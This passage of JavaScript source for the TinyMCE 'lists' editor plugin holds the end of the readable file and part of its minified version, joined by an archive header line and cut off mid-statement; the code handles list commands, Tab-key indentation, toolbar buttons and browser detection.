        return parentList && parentList.nodeName === listName;
      };
    };
    var register = function (editor) {
      editor.on('BeforeExecCommand', function (e) {
        var cmd = e.command.toLowerCase();
        if (cmd === 'indent') {
          indentListSelection(editor);
        } else if (cmd === 'outdent') {
          outdentListSelection(editor);
        }
      });
      editor.addCommand('InsertUnorderedList', function (ui, detail) {
        ToggleList.toggleList(editor, 'UL', detail);
      });
      editor.addCommand('InsertOrderedList', function (ui, detail) {
        ToggleList.toggleList(editor, 'OL', detail);
      });
      editor.addCommand('InsertDefinitionList', function (ui, detail) {
        ToggleList.toggleList(editor, 'DL', detail);
      });
      editor.addCommand('RemoveList', function () {
        flattenListSelection(editor);
      });
      editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL'));
      editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL'));
      editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL'));
    };
    var Commands = { register: register };

    var shouldIndentOnTab = function (editor) {
      return editor.getParam('lists_indent_on_tab', true);
    };
    var Settings = { shouldIndentOnTab: shouldIndentOnTab };

    var setupTabKey = function (editor) {
      editor.on('keydown', function (e) {
        if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) {
          return;
        }
        editor.undoManager.transact(function () {
          if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) {
            e.preventDefault();
          }
        });
      });
    };
    var setup$1 = function (editor) {
      if (Settings.shouldIndentOnTab(editor)) {
        setupTabKey(editor);
      }
      Delete.setup(editor);
    };
    var Keyboard = { setup: setup$1 };

    var findIndex = function (list, predicate) {
      for (var index = 0; index < list.length; index++) {
        var element = list[index];
        if (predicate(element)) {
          return index;
        }
      }
      return -1;
    };
    var listState = function (editor, listName) {
      return function (e) {
        var ctrl = e.control;
        editor.on('NodeChange', function (e) {
          var tableCellIndex = findIndex(e.parents, NodeType.isTableCellNode);
          var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents;
          var lists = global$5.grep(parents, NodeType.isListNode);
          ctrl.active(lists.length > 0 && lists[0].nodeName === listName);
        });
      };
    };
    var register$1 = function (editor) {
      var hasPlugin = function (editor, plugin) {
        var plugins = editor.settings.plugins ? editor.settings.plugins : '';
        return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1;
      };
      if (!hasPlugin(editor, 'advlist')) {
        editor.addButton('numlist', {
          active: false,
          title: 'Numbered list',
          cmd: 'InsertOrderedList',
          onPostRender: listState(editor, 'OL')
        });
        editor.addButton('bullist', {
          active: false,
          title: 'Bullet list',
          cmd: 'InsertUnorderedList',
          onPostRender: listState(editor, 'UL')
        });
      }
      editor.addButton('indent', {
        icon: 'indent',
        title: 'Increase indent',
        cmd: 'Indent'
      });
    };
    var Buttons = { register: register$1 };

    global.add('lists', function (editor) {
      Keyboard.setup(editor);
      Buttons.register(editor);
      Commands.register(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
plugin.min.js000064400000064530151024272700007172 0ustar00!function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0<e.select("span[data-mce-type=bookmark]",n).length)&&r},k=function(e,n){return e.isChildOf(n,e.getRoot())},A=function(e,n){if(y(e))return{container:e,offset:n};var t=d.getNode(e,n);return y(t)?{container:t,offset:n>=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return!t.apply(null,e)}},U=P(!1),F=P(!0),j=function(){return H},H=(e=function(e){return e.isNone()},r={fold:function(e,n){return e()},is:U,isSome:U,isNone:F,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:P(null),getOrUndefined:P(undefined),or:t,orThunk:n,map:j,each:B,bind:j,exists:U,forall:F,filter:j,equals:e,equals_:e,toArray:function(){return[]},toString:P("none()")},Object.freeze&&Object.freeze(r),r),$=function(t){var e=P(t),n=function(){return o},r=function(e){return e(t)},o={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:F,isNone:U,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return $(e(t))},each:function(e){e(t)},bind:r,exists:r,forall:r,filter:function(e){return e(t)?o:H},toArray:function(){return[t]},toString:function(){return"some("+t+")"},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(U,function(e){return n(t,e)})}};return o},q={some:$,none:j,from:function(e){return null===e||e===undefined?H:$(e)}},W=function(n){return function(e){return function(e){if(null===e)return"null";var n=typeof e;return"object"===n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n}(e)===n}},V=W("string"),z=W("array"),K=W("boolean"),X=W("function"),Q=W("number"),Y=Array.prototype.slice,G=Array.prototype.push,J=function(e,n){for(var t=e.length,r=new Array(t),o=0;o<t;o++){var i=e[o];r[o]=n(i,o)}return r},Z=function(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t)},ee=function(e,n){for(var t=[],r=0,o=e.length;r<o;r++){var i=e[r];n(i,r)&&t.push(i)}return t},ne=function(e,n,t){return Z(e,function(e){t=n(t,e)}),t},te=function(e,n){for(var t=0,r=e.length;t<r;t++){var o=e[t];if(n(o,t))return q.some(o)}return q.none()},re=function(e,n){return function(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!z(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);G.apply(n,e[t])}return n}(J(e,n))},oe=function(e){return 0===e.length?q.none():q.some(e[0])},ie=function(e){return 0===e.length?q.none():q.some(e[e.length-1])},ue=(X(Array.from)&&Array.from,"undefined"!=typeof u.window?u.window:Function("return this;")()),se=function(e,n){return function(e,n){for(var t=n!==undefined&&null!==n?n:ue,r=0;r<e.length&&t!==undefined&&null!==t;++r)t=t[e[r]];return t}(e.split("."),n)},ae=function(e,n){var t=se(e,n);if(t===undefined||null===t)throw new Error(e+" not available on this browser");return t},ce=function(e){var n,t=se("ownerDocument.defaultView",e);return(n=t,ae("HTMLElement",n)).prototype.isPrototypeOf(e)},fe=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),de=function(e){var n=e.selection.getStart(!0);return e.dom.getParent(n,"OL,UL,DL",me(e,n))},le=function(e){var t,n,r,o=e.selection.getSelectedBlocks();return v.grep((t=e,n=o,r=v.map(n,function(e){var n=t.dom.getParent(e,"li,dd,dt",me(t,e));return n||e}),fe.unique(r)),function(e){return O(e)})},me=function(e,n){var t=e.dom.getParents(n,"TD,TH");return 0<t.length?t[0]:e.getBody()},ge=function(e,n){var t=e.dom.getParents(n,"ol,ul",me(e,n));return ie(t)},pe=function(n,e){var t=J(e,function(e){return ge(n,e).getOr(e)});return fe.unique(t)},ve={isList:function(e){var n=de(e);return ce(n)},getParentList:de,getSelectedSubLists:function(e){var n,t,r,o=de(e),i=e.selection.getSelectedBlocks();return r=i,(t=o)&&1===r.length&&r[0]===t?(n=o,v.grep(n.querySelectorAll("ol,ul,dl"),function(e){return N(e)})):v.grep(i,function(e){return N(e)&&o!==e})},getSelectedListItems:le,getClosestListRootElm:me,getSelectedDlItems:function(e){return ee(le(e),C)},getSelectedListRoots:function(e){var n,t,r,o=(t=ge(n=e,n.selection.getStart()),r=ee(n.selection.getSelectedBlocks(),S),t.toArray().concat(r));return pe(e,o)}},he=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:P(e)}},ye={fromHtml:function(e,n){var t=(n||u.document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw u.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return he(t.childNodes[0])},fromTag:function(e,n){var t=(n||u.document).createElement(e);return he(t)},fromText:function(e,n){var t=(n||u.document).createTextNode(e);return he(t)},fromDom:he,fromPoint:function(e,n,t){var r=e.dom();return q.from(r.elementFromPoint(n,t)).map(he)}},Ne=function(e,n,t){return e.isSome()&&n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()},Se=Object.keys,Ce=function(){return ae("Node")},Oe=function(e,n,t){return 0!=(e.compareDocumentPosition(n)&t)},be=function(e,n){return Oe(e,n,Ce().DOCUMENT_POSITION_CONTAINED_BY)},Te=function(e,n){var t=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,"$"+e))};return Le(r(1),r(2))},Ee=function(){return Le(0,0)},Le=function(e,n){return{major:e,minor:n}},De={nu:Le,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?Ee():Te(e,t)},unknown:Ee},we="Firefox",ke=function(e,n){return function(){return n===e}},Ae=function(e){var n=e.current;return{current:n,version:e.version,isEdge:ke("Edge",n),isChrome:ke("Chrome",n),isIE:ke("IE",n),isOpera:ke("Opera",n),isFirefox:ke(we,n),isSafari:ke("Safari",n)}},xe={unknown:function(){return Ae({current:undefined,version:De.unknown()})},nu:Ae,edge:P("Edge"),chrome:P("Chrome"),ie:P("IE"),opera:P("Opera"),firefox:P(we),safari:P("Safari")},Re="Windows",Ie="Android",_e="Solaris",Be="FreeBSD",Pe=function(e,n){return function(){return n===e}},Me=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Pe(Re,n),isiOS:Pe("iOS",n),isAndroid:Pe(Ie,n),isOSX:Pe("OSX",n),isLinux:Pe("Linux",n),isSolaris:Pe(_e,n),isFreeBSD:Pe(Be,n)}},Ue={unknown:function(){return Me({current:undefined,version:De.unknown()})},nu:Me,windows:P(Re),ios:P("iOS"),android:P(Ie),linux:P("Linux"),osx:P("OSX"),solaris:P(_e),freebsd:P(Be)},Fe=function(e,n){var t=String(n).toLowerCase();return te(e,function(e){return e.search(t)})},je=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},He=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},$e=function(e,n){return-1!==e.indexOf(n)},qe=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,We=function(n){return function(e){return $e(e,n)}},Ve=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return $e(e,"edge/")&&$e(e,"chrome")&&$e(e,"safari")&&$e(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,qe],search:function(e){return $e(e,"chrome")&&!$e(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return $e(e,"msie")||$e(e,"trident")}},{name:"Opera",versionRegexes:[qe,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:We("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:We("firefox")},{name:"Safari",versionRegexes:[qe,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return($e(e,"safari")||$e(e,"mobile/"))&&$e(e,"applewebkit")}}],ze=[{name:"Windows",search:We("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return $e(e,"iphone")||$e(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:We("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:We("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:We("linux"),versionRegexes:[]},{name:"Solaris",search:We("sunos"),versionRegexes:[]},{name:"FreeBSD",search:We("freebsd"),versionRegexes:[]}],Ke={browsers:P(Ve),oses:P(ze)},Xe=function(e){var n,t,r,o,i,u,s,a,c,f,d,l=Ke.browsers(),m=Ke.oses(),g=je(l,e).fold(xe.unknown,xe.nu),p=He(m,e).fold(Ue.unknown,Ue.nu);return{browser:g,os:p,deviceType:(t=g,r=e,o=(n=p).isiOS()&&!0===/ipad/i.test(r),i=n.isiOS()&&!o,u=n.isAndroid()&&3===n.version.major,s=n.isAndroid()&&4===n.version.major,a=o||u||s&&!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),f=c&&!a,d=t.isSafari()&&n.isiOS()&&!1===/safari/i.test(r),{isiPad:P(o),isiPhone:P(i),isTablet:P(a),isPhone:P(f),isTouch:P(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:P(d)})}},Qe={detect:(o=function(){var e=u.navigator.userAgent;return Xe(e)},s=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return s||(s=!0,i=o.apply(null,e)),i})},Ye=(u.Node.ATTRIBUTE_NODE,u.Node.CDATA_SECTION_NODE,u.Node.COMMENT_NODE,u.Node.DOCUMENT_NODE,u.Node.DOCUMENT_TYPE_NODE,u.Node.DOCUMENT_FRAGMENT_NODE,u.Node.ELEMENT_NODE),Ge=(u.Node.TEXT_NODE,u.Node.PROCESSING_INSTRUCTION_NODE,u.Node.ENTITY_REFERENCE_NODE,u.Node.ENTITY_NODE,u.Node.NOTATION_NODE,Ye),Je=function(e,n){return e.dom()===n.dom()},Ze=Qe.detect().browser.isIE()?function(e,n){return be(e.dom(),n.dom())}:function(e,n){var t=e.dom(),r=n.dom();return t!==r&&t.contains(r)},en=function(e,n){var t=e.dom();if(t.nodeType!==Ge)return!1;var r=t;if(r.matches!==undefined)return r.matches(n);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(n);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(n);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")},nn=function(e){return q.from(e.dom().parentNode).map(ye.fromDom)},tn=function(e){return J(e.dom().childNodes,ye.fromDom)},rn=function(e,n){var t=e.dom().childNodes;return q.from(t[n]).map(ye.fromDom)},on=function(e){return rn(e,0)},un=function(e){return rn(e,e.dom().childNodes.length-1)},sn=(function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),function(n,t){nn(n).each(function(e){e.dom().insertBefore(t.dom(),n.dom())})}),an=function(e,n){e.dom().appendChild(n.dom())},cn=function(n,e){Z(e,function(e){an(n,e)})},fn=function(e){var n=e.dom();null!==n.parentNode&&n.parentNode.removeChild(n)},dn=function(e){return e.dom().nodeName.toLowerCase()},ln=(a=Ye,function(e){return e.dom().nodeType===a}),mn=function(e,n){var t=e.dom();!function(e,n){for(var t=Se(e),r=0,o=t.length;r<o;r++){var i=t[r];n(e[i],i)}}(n,function(e,n){!function(e,n,t){if(!(V(t)||K(t)||Q(t)))throw u.console.error("Invalid call to Attr.set. Key ",n,":: Value ",t,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,t+"")}(t,n,e)})},gn=function(e){return ne(e.dom().attributes,function(e,n){return e[n.name]=n.value,e},{})},pn=function(e,n,t){if(!V(t))throw u.console.error("Invalid call to CSS.set. Property ",n,":: Value ",t,":: Element ",e),new Error("CSS value must be a string: "+t);var r;(r=e).style!==undefined&&X(r.style.getPropertyValue)&&e.style.setProperty(n,t)},vn=function(e){return n=e,t=!0,ye.fromDom(n.dom().cloneNode(t));var n,t},hn=function(e,n){var t,r,o,i,u=(t=e,r=n,o=ye.fromTag(r),i=gn(t),mn(o,i),o);sn(e,u);var s=tn(e);return cn(u,s),fn(e),u},yn=function(e,n){an(e.item,n.list)},Nn=function(f,e,d){var n=e.slice(0,d.depth);return ie(n).each(function(e){var n,t,r,o,i,u,s,a,c=(n=f,t=d.itemAttributes,r=d.content,o=ye.fromTag("li",n),mn(o,t),cn(o,r),o);u=c,an((i=e).list,u),i.item=u,a=d,dn((s=e).list)!==a.listType&&(s.list=hn(s.list,a.listType)),mn(s.list,a.listAttributes)}),n},Sn=function(e,n,t){var r,o=function(e,n,t){for(var r,o,i,u=[],s=0;s<t;s++)u.push((r=e,o=n.listType,i={list:ye.fromTag(o,r),item:ye.fromTag("li",r)},an(i.list,i.item),i));return u}(e,t,t.depth-n.length);return function(e){for(var n=1;n<e.length;n++)yn(e[n-1],e[n])}(o),function(e,n){for(var t=0;t<e.length-1;t++)r=e[t].item,o="list-style-type",i="none",u=r.dom(),pn(u,o,i);var r,o,i,u;ie(e).each(function(e){mn(e.list,n.listAttributes),mn(e.item,n.itemAttributes),cn(e.item,n.content)})}(o,t),r=o,Ne(ie(n),oe(r),yn),n.concat(o)},Cn=function(e){return en(e,"OL,UL")},On=function(e){return on(e).map(Cn).getOr(!1)},bn=function(e){return 0<e.depth},Tn=function(e){return e.isSelected},En=function(e){var n=tn(e),t=un(e).map(Cn).getOr(!1)?n.slice(0,-1):n;return J(t,vn)},Ln=Object.prototype.hasOwnProperty,Dn=(c=function(e,n){return n},function(){for(var e=new Array(arguments.length),n=0;n<e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error("Can't merge zero objects");for(var t={},r=0;r<e.length;r++){var o=e[r];for(var i in o)Ln.call(o,i)&&(t[i]=c(t[i],o[i]))}return t}),wn=function(n){Z(n,function(r,e){(function(e,n){for(var t=e[n].depth,r=n-1;0<=r;r--){if(e[r].depth===t)return q.some(e[r]);if(e[r].depth<t)break}return q.none()})(n,e).each(function(e){var n,t;t=e,(n=r).listType=t.listType,n.listAttributes=Dn({},t.listAttributes)})})},kn=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return kn(t())}}},An=function(i,u,s,a){return on(a).filter(Cn).fold(function(){u.each(function(e){Je(e.start,a)&&s.set(!0)});var n,t,r,e=(n=a,t=i,r=s.get(),nn(n).filter(ln).map(function(e){return{depth:t,isSelected:r,content:En(n),itemAttributes:gn(n),listAttributes:gn(e),listType:dn(e)}}));u.each(function(e){Je(e.end,a)&&s.set(!1)});var o=un(a).filter(Cn).map(function(e){return xn(i,u,s,e)}).getOr([]);return e.toArray().concat(o)},function(e){return xn(i,u,s,e)})},xn=function(n,t,r,e){return re(tn(e),function(e){return(Cn(e)?xn:An)(n+1,t,r,e)})},Rn=tinymce.util.Tools.resolve("tinymce.Env"),In=function(e,n){var t,r,o,i,u=e.dom,s=e.schema.getBlockElements(),a=u.createFragment();if(e.settings.forced_root_block&&(o=e.settings.forced_root_block),o&&((r=u.create(o)).tagName===e.settings.forced_root_block&&u.setAttribs(r,e.settings.forced_root_block_attrs),L(n.firstChild,s)||a.appendChild(r)),n)for(;t=n.firstChild;){var c=t.nodeName;i||"SPAN"===c&&"bookmark"===t.getAttribute("data-mce-type")||(i=!0),L(t,s)?(a.appendChild(t),r=null):o?(r||(r=u.create(o),a.appendChild(r)),r.appendChild(t)):a.appendChild(t)}return e.settings.forced_root_block?i||Rn.ie&&!(10<Rn.ie)||r.appendChild(u.create("br",{"data-mce-bogus":"1"})):a.appendChild(u.create("br")),a},_n=function(i,e){return J(e,function(e){var n,t,r,o=(n=e.content,r=(t||u.document).createDocumentFragment(),Z(n,function(e){r.appendChild(e.dom())}),ye.fromDom(r));return ye.fromDom(In(i,o.dom()))})},Bn=function(e,n){return wn(n),(t=e.contentDocument,r=n,o=ne(r,function(e,n){return n.depth>e.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i<u;i++){var s=e[i],a=n(s);a!==t&&(r.push(o),o=[]),t=a,o.push(s)}return 0!==o.length&&r.push(o),r}(u,bn),function(e){return oe(e).map(bn).getOr(!1)?Bn(i,e):_n(i,e)}),Z(o,function(e){sn(r,e)}),fn(e.sourceList)})},Un=g.DOM,Fn=function(e,n,t){var r,o,i,u,s,a;for(i=Un.select('span[data-mce-type="bookmark"]',n),s=In(e,t),(r=Un.createRng()).setStartAfter(t),r.setEndAfter(n),u=(o=r.extractContents()).firstChild;u;u=u.firstChild)if("LI"===u.nodeName&&e.dom.isEmpty(u)){Un.remove(u);break}e.dom.isEmpty(o)||Un.insertAfter(o,n),Un.insertAfter(s,n),w(e.dom,t.parentNode)&&(a=t.parentNode,v.each(i,function(e){a.parentNode.insertBefore(e,t.parentNode)}),Un.remove(a)),Un.remove(t),w(e.dom,n)&&Un.remove(n)},jn=function(e){en(e,"dt")&&hn(e,"dd")},Hn=function(r,e,n){Z(n,"Indent"===e?jn:function(e){return n=r,void(en(t=e,"dd")?hn(t,"dt"):en(t,"dt")&&nn(t).each(function(e){return Fn(n,e.dom(),t.dom())}));var n,t})},$n=function(e,n){var t=J(ve.getSelectedListRoots(e),ye.fromDom),r=J(ve.getSelectedDlItems(e),ye.fromDom),o=!1;if(t.length||r.length){var i=e.selection.getBookmark();Mn(e,t,n),Hn(e,n,r),e.selection.moveToBookmark(i),e.selection.setRng(x(e.selection.getRng())),e.nodeChanged(),o=!0}return o},qn=function(e){return $n(e,"Indent")},Wn=function(e){return $n(e,"Outdent")},Vn=function(e){return $n(e,"Flatten")},zn=function(t,e){v.each(e,function(e,n){t.setAttribute(n,e)})},Kn=function(e,n,t){var r,o,i,u,s,a,c;r=e,o=n,u=(i=t)["list-style-type"]?i["list-style-type"]:null,r.setStyle(o,"list-style-type",u),s=e,zn(a=n,(c=t)["list-attributes"]),v.each(s.select("li",a),function(e){zn(e,c["list-item-attributes"])})},Xn=function(e,n,t,r){var o,i;for(o=n[t?"startContainer":"endContainer"],i=n[t?"startOffset":"endOffset"],1===o.nodeType&&(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!t&&T(o.nextSibling)&&(o=o.nextSibling);o.parentNode!==r;){if(E(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o},Qn=function(f,d,l){void 0===l&&(l={});var e,n=f.selection.getRng(!0),m="LI",t=ve.getClosestListRootElm(f,f.selection.getStart(!0)),g=f.dom;"false"!==g.getContentEditable(f.selection.getNode())&&("DL"===(d=d.toUpperCase())&&(m="DT"),e=I(n),v.each(function(t,e,r){for(var o,i=[],u=t.dom,n=Xn(t,e,!0,r),s=Xn(t,e,!1,r),a=[],c=n;c&&(a.push(c),c!==s);c=c.nextSibling);return v.each(a,function(e){if(E(t,e))return i.push(e),void(o=null);if(u.isBlock(e)||T(e))return T(e)&&u.remove(e),void(o=null);var n=e.nextSibling;p.isBookmarkNode(e)&&(E(t,n)||!n&&e.parentNode===r)?o=null:(o||(o=u.create("p"),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(f,n,t),function(e){var n,t,r,o,i,u,s,a,c;(t=e.previousSibling)&&N(t)&&t.nodeName===d&&(r=t,o=l,i=g.getStyle(r,"list-style-type"),u=o?o["list-style-type"]:"",i===(u=null===u?"":u))?(n=t,e=g.rename(e,m),t.appendChild(e)):(n=g.create(d),e.parentNode.insertBefore(n,e),n.appendChild(e),e=g.rename(e,m)),s=g,a=e,c=["margin","margin-right","margin-bottom","margin-left","margin-top","padding","padding-right","padding-bottom","padding-left","padding-top"],v.each(c,function(e){var n;return s.setStyle(a,((n={})[e]="",n))}),Kn(g,n,l),Gn(f.dom,n)}),f.selection.setRng(_(e)))},Yn=function(e,n,t){return a=t,(s=n)&&a&&N(s)&&s.nodeName===a.nodeName&&(i=n,u=t,(o=e).getStyle(i,"list-style-type",!0)===o.getStyle(u,"list-style-type",!0))&&(r=t,n.className===r.className);var r,o,i,u,s,a},Gn=function(e,n){var t,r;if(t=n.nextSibling,Yn(e,n,t)){for(;r=t.firstChild;)n.appendChild(r);e.remove(t)}if(t=n.previousSibling,Yn(e,n,t)){for(;r=t.lastChild;)n.insertBefore(r,n.firstChild);e.remove(t)}},Jn=function(n,e,t,r,o){if(e.nodeName!==r||Zn(o)){var i=I(n.selection.getRng(!0));v.each([e].concat(t),function(e){!function(e,n,t,r){if(n.nodeName!==t){var o=e.rename(n,t);Kn(e,o,r)}else Kn(e,n,r)}(n.dom,e,r,o)}),n.selection.setRng(_(i))}else Vn(n)},Zn=function(e){return"list-style-type"in e},et={toggleList:function(e,n,t){var r=ve.getParentList(e),o=ve.getSelectedSubLists(e);t=t||{},r&&0<o.length?Jn(e,r,o,n,t):function(e,n,t,r){if(n!==e.getBody())if(n)if(n.nodeName!==t||Zn(r)){var o=I(e.selection.getRng(!0));Kn(e.dom,n,r),Gn(e.dom,e.dom.rename(n,t)),e.selection.setRng(_(o))}else Vn(e);else Qn(e,t,r)}(e,r,n,t)},mergeWithAdjacentLists:Gn},nt=g.DOM,tt=function(e,n){var t,r=n.parentNode;"LI"===r.nodeName&&r.firstChild===n&&((t=r.previousSibling)&&"LI"===t.nodeName?(t.appendChild(n),w(e,r)&&nt.remove(r)):nt.setStyle(r,"listStyleType","none")),N(r)&&(t=r.previousSibling)&&"LI"===t.nodeName&&t.appendChild(n)},rt=function(n,e){v.each(v.grep(n.select("ol,ul",e)),function(e){tt(n,e)})},ot=function(e,n,t,r){var o,i,u=n.startContainer,s=n.startOffset;if(3===u.nodeType&&(t?s<u.data.length:0<s))return u;for(o=e.schema.getNonEmptyElements(),1===u.nodeType&&(u=d.getNode(u,s)),i=new l(u,r),t&&D(e.dom,u)&&i.next();u=i[t?"next":"prev2"]();){if("LI"===u.nodeName&&!u.hasChildNodes())return u;if(o[u.nodeName])return u;if(3===u.nodeType&&0<u.data.length)return u}},it=function(e,n){var t=n.childNodes;return 1===t.length&&!N(t[0])&&e.isBlock(t[0])},ut=function(e,n,t){var r,o,i,u;if(o=it(e,t)?t.firstChild:t,it(i=e,u=n)&&i.remove(u.firstChild,!0),!w(e,n,!0))for(;r=n.firstChild;)o.appendChild(r)},st=function(n,e,t){var r,o,i=e.parentNode;if(k(n,e)&&k(n,t)){N(t.lastChild)&&(o=t.lastChild),i===t.lastChild&&T(i.previousSibling)&&n.remove(i.previousSibling),(r=t.lastChild)&&T(r)&&e.hasChildNodes()&&n.remove(r),w(n,t,!0)&&n.$(t).empty(),ut(n,e,t),o&&t.appendChild(o);var 